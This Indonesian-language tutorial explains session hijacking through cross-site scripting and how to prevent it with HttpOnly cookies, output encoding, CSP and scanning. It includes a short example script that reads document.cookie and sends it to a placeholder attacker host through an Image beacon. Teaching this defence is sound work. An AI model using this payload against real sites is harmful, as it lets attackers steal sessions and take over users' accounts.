Session Hijacking via XSS: Mekanisme dan Pencegahan

Session hijacking melalui Cross-Site Scripting (XSS) adalah teknik serangan siber di mana penyerang memanfaatkan celah XSS pada sebuah aplikasi web untuk mencuri token sesi pengguna (seperti Session ID atau JWT) yang tersimpan di dalam document.cookie, localStorage, atau sessionStorage. Setelah token tersebut didapatkan, penyerang dapat menyamar sebagai korban yang sah tanpa harus mengetahui kata sandi korban.

Ancaman ini berakar dari kurangnya validasi input dan sanitasi output pada aplikasi web yang memungkinkan injeksi skrip berbahaya—biasanya ditulis dalam JavaScript—ke dalam browser korban. Ketika skrip ini dieksekusi dalam konteks sesi korban, skrip tersebut memiliki akses penuh terhadap DOM, cookie yang tidak diproteksi, dan data penyimpanan lokal.

Mekanisme Serangan XSS Menuju Session Hijacking

Proses eksploitasi celah ini umumnya melalui beberapa tahapan sistematis, mulai dari injeksi payload hingga pencurian data sesi dan pengambilalihan akun.

Tahap Serangan Komponen Terlibat Penjelasan Teknis
1. Injeksi Payload Stored/Reflected XSS Penyerang memasukkan skrip berbahaya (misalnya tag <script>) ke dalam input aplikasi yang tidak disanitasi.
2. Eksekusi Skrip Browser Korban Browser korban merender halaman dan mengeksekusi skrip penyerang secara otomatis tanpa sepengetahuan pengguna.
3. Ekstraksi Sesi document.cookie / Storage Skrip membaca token autentikasi yang tersimpan di penyimpanan klien.
4. Eksfiltrasi Data Permintaan HTTP Keluar Skrip mengirimkan token curian ke server eksternal milik penyerang menggunakan fetch() atau Image() beacon.
5. Pengambilan Alihan Session Replay Penyerang menyematkan token tersebut ke browser mereka untuk mengakses akun korban.

Contoh Payload Sederhana

Berikut adalah contoh kode skrip berbahaya (Stored XSS) yang sering digunakan untuk mencuri cookie dan mengirimkannya ke server penyerang:

<script>
  // Mengambil cookie dan mengirimkannya ke server attacker
  var stolenData = document.cookie;
  var attackerUrl = 'https://attacker.com/log?cookie=' + encodeURIComponent(stolenData);
  
  // Menggunakan objek Image untuk mengirim GET request secara diam-diam
  new Image().src = attackerUrl;
</script>

Strategi Mitigasi dan Pencegahan

Untuk menghentikan jalur serangan ini, pengembang harus menerapkan pertahanan berlapis, baik pada tingkat penyimpanan sesi maupun pada penanganan input/output aplikasi.

1. Implementasi Flag HttpOnly pada Cookie

Atribut HttpOnly pada cookie memastikan bahwa skrip sisi klien (seperti JavaScript) tidak dapat mengakses cookie tersebut melalui document.cookie. Langkah ini secara efektif memblokir teknik pencurian cookie berbasis XSS.

Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict

2. Sanitasi dan Enkode Output

Seluruh data yang berasal dari pengguna (user-supplied input) yang dirender kembali ke DOM harus melalui proses enkode yang tepat berdasarkan konteksnya (HTML escaping, JavaScript escaping, URL escaping) untuk mencegah browser menerjemahkannya sebagai kode eksekutable.

3. Penerapan Content Security Policy (CSP)

Kebijakan keamanan konten (CSP) yang ketat dapat membatasi sumber eksekusi skrip, melarang eksekusi skrip inline (seperti <script>...</script> atau event handler onload), serta membatasi domain tujuan pengiriman data (connect-src).

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;

Troubleshooting Keamanan Sesi di Lapangan

Jika aplikasi Anda terindikasi mengalami kerentanan ini, lakukan langkah audit berikut:

  • Periksa semua cookie autentikasi menggunakan Developer Tools browser pada tab Application/Storage untuk memastikan flag HttpOnly dan Secure telah aktif.
  • Gunakan pemindai kerentanan otomatis (DAST/SAST) seperti OWASP ZAP atau Burp Suite untuk mendeteksi titik injeksi XSS.
  • Terapkan pembatasan masa aktif sesi (session timeout) dan mekanisme rotasi token setelah pengguna melakukan login atau perubahan hak akses.